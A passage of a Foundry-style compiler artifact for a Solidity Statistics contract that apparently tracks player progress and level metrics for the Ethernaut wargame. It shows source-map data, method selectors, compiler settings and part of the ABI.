-1;;;;;;;10945:17:116::1;;::::0;;;:10:::1;:17;::::0;;;;:38;;10825:165::o;226:23::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;226:23:116;;-1:-1:-1;226:23:116;:::o;8530:303::-;-1:-1:-1;;;;;11413:20:116;;8633:7;11413:20;;;:12;:20;;;;;;8616:6;;11413:20;;1986:56;;;;-1:-1:-1;;;1986:56:116;;2335:2:155;1986:56:116;;;2317:21:155;2374:2;2354:18;;;2347:30;-1:-1:-1;;;2393:18:155;;;2386:50;2453:18;;1986:56:116;2133:344:155;1986:56:116;8813:6:::1;:13:::0;8759:43:::1;8795:6:::0;8759:35:::1;:43::i;:::-;:50;::::0;8805:4:::1;8759:50;:::i;:::-;8758:68;;;;:::i;:::-;8751:75:::0;8530:303;-1:-1:-1;;;8530:303:116:o;2198:112::-;3279:19:36;3302:13;;;;;;3301:14;;3347:34;;;;-1:-1:-1;3365:12:36;;3380:1;3365:12;;;;:16;3347:34;3346:108;;;-1:-1:-1;3426:4:36;1713:19:37;:23;;;3387:66:36;;-1:-1:-1;3436:12:36;;;;;:17;3387:66;3325:201;;;;-1:-1:-1;;;3325:201:36;;6057:2:155;3325:201:36;;;6039:21:155;6096:2;6076:18;;;6069:30;6135:34;6115:18;;;6108:62;6206:16;6186:18;;;6179:44;6240:19;;3325:201:36;5855:410:155;3325:201:36;3536:12;:16;;-1:-1:-1;;3536:16:36;3551:1;3536:16;;;3562:65;;;;3596:13;:20;;-1:-1:-1;;3596:20:36;;;;;3562:65;2274:9:116::1;:29:::0;;;::::1;::::0;-1:-1:-1;;;;;2274:29:116;::::1;;;::::0;;3647:99:36;;;;3697:5;3681:21;;-1:-1:-1;;3681:21:36;;;3721:14;;-1:-1:-1;6422:36:155;;3721:14:36;;6410:2:155;6395:18;3721:14:36;;;;;;;3647:99;3269:483;2198:112:116;:::o;5505:159::-;5573:5;1863:21;1878:5;-1:-1:-1;;;;;11297:18:116;11274:4;11297:18;;;:11;:18;;;;;;;;;11214:108;1863:21;1862:22;1854:55;;;;-1:-1:-1;;;1854:55:116;;6671:2:155;1854:55:116;;;6653:21:155;6710:2;6690:18;;;6683:30;6749:22;6729:18;;;6722:50;6789:18;;1854:55:116;6469:344:155;1854:55:116;2123:9:::1;::::0;;;::::1;-1:-1:-1::0;;;;;2123:9:116::1;2109:10;:23;2101:73;;;::::0;-1:-1:-1;;;2101:73:116;;3032:2:155;2101:73:116::1;::::0;::::1;3014:21:155::0;3071:2;3051:18;;;3044:30;3110:34;3090:18;;;3083:62;-1:-1:-1;;;3161:18:155;;;3154:35;3206:19;;2101:73:116::1;2830:401:155::0;2101:73:116::1;-1:-1:-1::0;;;;;;5604:18:116::2;;::::0;;;:11:::2;:18;::::0;;;;:25;;-1:-1:-1;;5604:25:116::2;5625:4;5604:25:::0;;::::2;::::0;;;5639:6:::2;:18:::0;;;;::::2;::::0;;;;;;::::2;::::0;;-1:-1:-1;;5639:18:116::2;::::0;;::::2;::::0;;5505:159::o;4780:719::-;2123:9;;;;;-1:-1:-1;;;;;2123:9:116;2109:10;:23;2101:73;;;;-1:-1:-1;;;2101:73:116;;3032:2:155;2101:73:116;;;3014:21:155;3071:2;3051:18;;;3044:30;3110:34;3090:18;;;3083:62;-1:-1:-1;;;3161:18:155;;;3154:35;3206:19;;2101:73:116;2830:401:155;2101:73:116;4916:5:::1;1729:21;1744:5;-1:-1:-1::0;;;;;11297:18:116;11274:4;11297:18;;;:11;:18;;;;;;;;;11214:108;1729:21:::1;1721:53;;;::::0;-1:-1:-1;;;1721:53:116;;2684:2:155;1721:53:116::1;::::0;::::1;2666:21:155::0;2723:2;2703:18;;;2696:30;-1:-1:-1;;;2742:18:155;;;2735:49;2801:18;;1721:53:116::1;2482:343:155::0;1721:53:116::1;4949:6:::2;1994:23;2010:6;-1:-1:-1::0;;;;;11413:20:116;11390:4;11413:20;;;:12;:20;;;;;;;;;11328:112;1994:23:::2;1986:56;;;::::0;-1:-1:-1;;;1986:56:116;;2335:2:155;1986:56:116::2;::::0;::::2;2317:21:155::0;2374:2;2354:18;;;2347:30;-1:-1:-1;;;2393:18:155;;;2386:50;2453:18;;1986:56:116::2;2133:344:155::0;1986:56:116::2;-1:-1:-1::0;;;;;4979:19:116;;::::3;5026:1;4979:19:::0;;;:11:::3;:19;::::0;;;;;;;:26;;::::3;::::0;;;;;;;:35;::::3;4971:99;;;::::0;-1:-1:-1;;;4971:99:116;;3438:2:155;4971:99:116::3;::::0;::::3;3420:21:155::0;3477:2;3457:18;;;3450:30;3516:34;3496:18;;;3489:62;-1:-1:-1;;;3567:18:155;;;3560:35;3612:19;;4971:99:116::3;3236:401:155::0;4971:99:116::3;-1:-1:-1::0;;;;;5088:19:116;;::::3;;::::0;;;:11:::3;:19;::::0;;;;;;;:26;;::::3;::::0;;;;;;;:35;;::::3;:47:::0;;::::3;;5080:101;;;::::0;-1:-1:-1;;;5080:101:116;;3844:2:155;5080:101:116::3;::::0;::::3;3826:21:155::0;3883:2;3863:18;;;3856:30;3922:34;3902:18;;;3895:62;-1:-1:-1;;;3973:18:155;;;3966:39;4022:19;;5080:101:116::3;3642:405:155::0;5080:101:116::3;-1:-1:-1::0;;;;;5199:19:116;;::::3;;::::0;;;:11:::3;:19;::::0;;;;;;;:26;;::::3;::::0;;;;;;:38;-1:-1:-1;;;5199:38:116;::::3;;;:47;5191:83;;;::::0;-1:-1:-1;;;5191:83:116;;4254:2:155;5191:83:116::3;::::0;::::3;4236:21:155::0;4293:2;4273:18;;;4266:30;4332:25;4312:18;;;4305:53;4375:18;;5191:83:116::3;4052:347:155::0;5191:83:116::3;-1:-1:-1::0;;;;;5284:19:116;;::::3;;::::0;;;:11:::3;:19;::::0;;;;;;;:26;;::::3;::::0;;;;;;;;;:40:::3;;:62:::0;;::::3;::::0;::::3;::::0;;;;;;;;5330:15:::3;5284:62:::0;::::3;::::0;5356:17;;;:10:::3;:17:::0;;;;;:40:::3;;:42:::0;;;::::3;::::0;::::3;:::i;:::-;::::0;;;-1:-1:-1;;5408:27:116::3;:29:::0;;;:27:::3;:29;::::0;::::3;:::i;:::-;::::0;;;-1:-1:-1;;;;;;;5447:43:116;::::3;;::::0;;;:35:::3;:43;::::0;;;;:45;;;::::3;::::0;::::3;:::i;8080:376::-:0;-1:-1:-1;;;;;11413:20:116;;8277:7;11413:20;;;:12;:20;;;;;;8220:6;;11413:20;;1986:56;;;;-1:-1:-1;;;1986:56:116;;2335:2:155;1986:56:116;;;2317:21:155;2374:2;2354:18;;;2347:30;-1:-1:-1;;;2393:18:155;;;2386:50;2453:18;;1986:56:116;2133:344:155;1986:56:116;8253:5:::1;1729:21;1744:5;-1:-1:-1::0;;;;;11297:18:116;11274:4;11297:18;;;:11;:18;;;;;;;;;11214:108;1729:21:::1;1721:53;;;::::0;-1:-1:-1;;;1721:53:116;;2684:2:155;1721:53:116::1;::::0;::::1;2666:21:155::0;2723:2;2703:18;;;2696:30;-1:-1:-1;;;2742:18:155;;;2735:49;2801:18;;1721:53:116::1;2482:343:155::0;1721:53:116::1;-1:-1:-1::0;;;;;8308:19:116;;::::2;;::::0;;;:11:::2;:19;::::0;;;;;;;:26;;::::2;::::0;;;;;;:40:::2;;:47:::0;:56;-1:-1:-1;8308:56:116::2;8300:85;;;::::0;-1:-1:-1;;;8300:85:116;;7020:2:155;8300:85:116::2;::::0;::::2;7002:21:155::0;7059:2;7039:18;;;7032:30;7098:18;7078;;;7071:46;7134:18;;8300:85:116::2;6818:340:155::0;8300:85:116::2;-1:-1:-1::0;;;;;8402:19:116;;::::2;;::::0;;;:11:::2;:19;::::0;;;;;;;:26;;::::2;::::0;;;;;;:40:::2;;:47:::0;;8443:5;;8402:47;::::2;;;;;:::i;:::-;;;;;;;;;8395:54;;2052:1:::1;8080:376:::0;;;;;;:::o;10644:175::-;-1:-1:-1;;;;;11297:18:116;;10746:7;11297:18;;;:11;:18;;;;;;10730:5;;11297:18;;1721:53;;;;-1:-1:-1;;;1721:53:116;;2684:2:155;1721:53:116;;;2666:21:155;2723:2;2703:18;;;2696:30;-1:-1:-1;;;2742:18:155;;;2735:49;2801:18;;1721:53:116;2482:343:155;1721:53:116;-1:-1:-1;;;;;;;10772:17:116::1;;::::0;;;:10:::1;:17;::::0;;;;:40:::1;;::::0;;10644:175::o;7243:240::-;-1:-1:-1;;;;;11413:20:116;;7411:4;11413:20;;;:12;:20;;;;;;7354:6;;11413:20;;1986:56;;;;-1:-1:-1;;;1986:56:116;;2335:2:155;1986:56:116;;;2317:21:155;2374:2;2354:18;;;2347:30;-1:-1:-1;;;2393:18:155;;;2386:50;2453:18;;1986:56:116;2133:344:155;1986:56:116;7387:5:::1;1729:21;1744:5;-1:-1:-1::0;;;;;11297:18:116;11274:4;11297:18;;;:11;:18;;;;;;;;;11214:108;1729:21:::1;1721:53;;;::::0;-1:-1:-1;;;1721:53:116;;2684:2:155;1721:53:116::1;::::0;::::1;2666:21:155::0;2723:2;2703:18;;;2696:30;-1:-1:-1;;;2742:18:155;;;2735:49;2801:18;;1721:53:116::1;2482:343:155::0;1721:53:116::1;-1:-1:-1::0;;;;;;;;7438:19:116;;::::2;;::::0;;;:11:::2;:19;::::0;;;;;;;:26;;;::::2;::::0;;;;;;;:38;-1:-1:-1;;;7438:38:116;::::2;;;::::0;7243:240::o;196:24::-;;;;;;;;;;;;8955:1155;-1:-1:-1;;;;;9176:40:116;;;9131:7;9176:40;;;:32;:40;;;;;;;;;9426:30;:38;;;;;:45;;;;;;;;;;;;;9384:32;;;:24;:32;;;;;:39;;;;;;;;;;9131:7;;9176:40;9131:7;;;;9384:87;;;:::i;:::-;-1:-1:-1;;;;;9576:40:116;;;;;;:32;:40;;;;;;9333:138;;-1:-1:-1;9576:45:116;9572:480;;-1:-1:-1;;;;;9637:40:116;;;;;;:32;:40;;;;;:79;;;9572:480;;;9917:32;9864:36;9823;9858:1;9917:32;9823:36;:::i;:::-;9804:56;;:15;:56;:::i;:::-;9803:97;;;;:::i;:::-;9785:164;;;;:::i;:::-;-1:-1:-1;;;;;9963:40:116;;;;;;:32;:40;;;;;:78;;;9747:202;-1:-1:-1;9572:480:116;-1:-1:-1;10068:35:116;8955:1155;-1:-1:-1;;;;;8955:1155:116:o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;14:196:155;82:20;;-1:-1:-1;;;;;131:54:155;;121:65;;111:93;;200:1;197;190:12;111:93;14:196;;;:::o;215:260::-;283:6;291;344:2;332:9;323:7;319:23;315:32;312:52;;;360:1;357;350:12;312:52;383:29;402:9;383:29;:::i;:::-;373:39;;431:38;465:2;454:9;450:18;431:38;:::i;:::-;421:48;;215:260;;;;;:::o;662:334::-;739:6;747;755;808:2;796:9;787:7;783:23;779:32;776:52;;;824:1;821;814:12;776:52;847:29;866:9;847:29;:::i;:::-;837:39;;895:38;929:2;918:9;914:18;895:38;:::i;:::-;885:48;;952:38;986:2;975:9;971:18;952:38;:::i;:::-;942:48;;662:334;;;;;:::o;1001:186::-;1060:6;1113:2;1101:9;1092:7;1088:23;1084:32;1081:52;;;1129:1;1126;1119:12;1081:52;1152:29;1171:9;1152:29;:::i;1423:180::-;1482:6;1535:2;1523:9;1514:7;1510:23;1506:32;1503:52;;;1551:1;1548;1541:12;1503:52;-1:-1:-1;1574:23:155;;1423:180;-1:-1:-1;1423:180:155:o;1800:328::-;1877:6;1885;1893;1946:2;1934:9;1925:7;1921:23;1917:32;1914:52;;;1962:1;1959;1952:12;1914:52;1985:29;2004:9;1985:29;:::i;:::-;1975:39;;2033:38;2067:2;2056:9;2052:18;2033:38;:::i;:::-;2023:48;;2118:2;2107:9;2103:18;2090:32;2080:42;;1800:328;;;;;:::o;4404:184::-;-1:-1:-1;;;4453:1:155;4446:88;4553:4;4550:1;4543:15;4577:4;4574:1;4567:15;4593:135;4632:3;4653:17;;;4650:43;;4673:18;;:::i;:::-;-1:-1:-1;4720:1:155;4709:13;;4593:135::o;5270:128::-;5337:9;;;5358:11;;;5355:37;;;5372:18;;:::i;:::-;5270:128;;;;:::o;5403:168::-;5476:9;;;5507;;5524:15;;;5518:22;;5504:37;5494:71;;5545:18;;:::i;5576:274::-;5616:1;5642;5632:189;;-1:-1:-1;;;5674:1:155;5667:88;5778:4;5775:1;5768:15;5806:4;5803:1;5796:15;5632:189;-1:-1:-1;5835:9:155;;5576:274::o;7163:184::-;-1:-1:-1;;;7212:1:155;7205:88;7312:4;7309:1;7302:15;7336:4;7333:1;7326:15;7352:125;7417:9;;;7438:10;;;7435:36;;;7451:18;;:::i","linkReferences":{}},"methodIdentifiers":{"createNewInstance(address,address,address)":"7e4326d3","doesLevelExist(address)":"f3a39909","doesPlayerExist(address)":"ba5d8082","ethernaut()":"a7e1acdf","getAverageTimeTakenToCompleteLevels(address)":"3aa46685","getNoOfCompletedSubmissionsForLevel(address)":"3d9aeaef","getNoOfFailedSubmissionsForLevel(address)":"e041ae9b","getNoOfInstancesForLevel(address)":"9cbf280d","getPercentageOfLevelsCompleted(address)":"bc3086a2","getSubmissionsForLevelByPlayer(address,address,uint256)":"d844f6a4","getTimeElapsedForCompletionOfLevel(address,address)":"8dc03535","getTotalNoOfEthernautLevels()":"7e0ca04f","getTotalNoOfFailedSubmissions()":"7ceb9533","getTotalNoOfFailedSubmissionsByPlayer(address)":"7a9b6dda","getTotalNoOfFailuresForLevelAndPlayer(address,address)":"22ae77ec","getTotalNoOfLevelInstancesCompleted()":"900f09ac","getTotalNoOfLevelInstancesCompletedByPlayer(address)":"763fdb45","getTotalNoOfLevelInstancesCreated()":"7cbe8d04","getTotalNoOfLevelInstancesCreatedByPlayer(address)":"8b146ad6","getTotalNoOfLevelsCompletedByPlayer(address)":"36204198","getTotalNoOfPlayers()":"fb66d7ab","initialize(address)":"c4d66de8","isLevelCompleted(address,address)":"e2d8716f","levels(uint256)":"b2596a67","players(uint256)":"f71d96cb","saveNewLevel(address)":"cd819a6f","submitFailure(address,address,address)":"d0f191e0","submitSuccess(address,address,address)":"2c038c32"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint8\",\"name\":\"version\",\"type\":\"uint8\"}],\"name\":\"Initialized\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"averageCompletionTime\",\"type\":\"uint256\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"globalLevelsCompleted\",\"type\":\"uint256\"}],\"name\":\"playerScoreProfile\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"createNewInstance\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"doesLevelExist\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"doesPlayerExist\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"ethernaut\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"getAverageTimeTakenToCompleteLevels\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"getNoOfCompletedSubmissionsForLevel\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"getNoOfFailedSubmissionsForLevel\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"getNoOfInstancesForLevel\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"getPercentageOfLevelsCompleted\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"index\",\"type\":\"uint256\"}],\"name\":\"getSubmissionsForLevelByPlayer\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"getTimeElapsedForCompletionOfLevel\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getTotalNoOfEthernautLevels\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getTotalNoOfFailedSubmissions\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"getTotalNoOfFailedSubmissionsByPlayer\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"getTotalNoOfFailuresForLevelAndPlayer\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getTotalNoOfLevelInstancesCompleted\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"getTotalNoOfLevelInstancesCompletedByPlayer\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getTotalNoOfLevelInstancesCreated\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"getTotalNoOfLevelInstancesCreatedByPlayer\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"getTotalNoOfLevelsCompletedByPlayer\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getTotalNoOfPlayers\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_ethernautAddress\",\"type\":\"address\"}],\"name\":\"initialize\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"isLevelCompleted\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"levels\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"players\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"saveNewLevel\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"submitFailure\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"submitSuccess\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"events\":{\"Initialized(uint8)\":{\"details\":\"Triggered when the contract has been initialized or reinitialized.\"}},\"kind\":\"dev\",\"methods\":{},\"stateVariables\":{\"__gap\":{\"details\":\"This empty reserved space is put in place to allow future versions to add new variables without shifting down storage in the inheritance chain. See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/metrics/Statistics.sol\":\"Statistics\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"uint8","name":"version","type":"uint8","indexed":false}],"type":"event","name":"Initialized","anonymous":false},{"inputs":[{"internalType":"address","name":"player","type":"address","indexed":true},{"internalType":"uint256","name":"averageCompletionTime","type":"uint256","indexed":true},{"internalType":"uint256","name":"globalLevelsCompleted","type":"uint256","indexed":true}],"type":"event","name":"playerScoreProfile","anonymous":false},{"inputs":[{"internalType":"address","name":"instance","type":"address"},{"internalType":"address","name":"level","type":"address"},{"internalType":"address","name":"player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"createNewInstance"},{"inputs":[{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"doesLevelExist","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"doesPlayerExist","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"ethernaut","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"getAverageTimeTakenToCompleteLevels","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"getNoOfCompletedSubmissionsForLevel","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"getNoOfFailedSubmissionsForLevel","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"getNoOfInstancesForLevel","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"getPercentageOfLevelsCompleted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"},{"internalType":"address","name":"level","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"stateMutability":"view","type":"function","name":"getSubmissionsForLevelByPlayer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"},{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"getTimeElapsedForCompletionOfLevel","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getTotalNoOfEthernautLevels","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getTotalNoOfFailedSubmissions","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"getTotalNoOfFailedSubmissionsByPlayer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"level","type":"address"},{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"getTotalNoOfFailuresForLevelAndPlayer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getTotalNoOfLevelInstancesCompleted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"getTotalNoOfLevelInstancesCompletedByPlayer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getTotalNoOfLevelInstancesCreated","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"getTotalNoOfLevelInstancesCreatedByPlayer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"getTotalNoOfLevelsCompletedByPlayer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getTotalNoOfPlayers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"_ethernautAddress","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"initialize"},{"inputs":[{"internalType":"address","name":"player","type":"address"},{"internalType":"add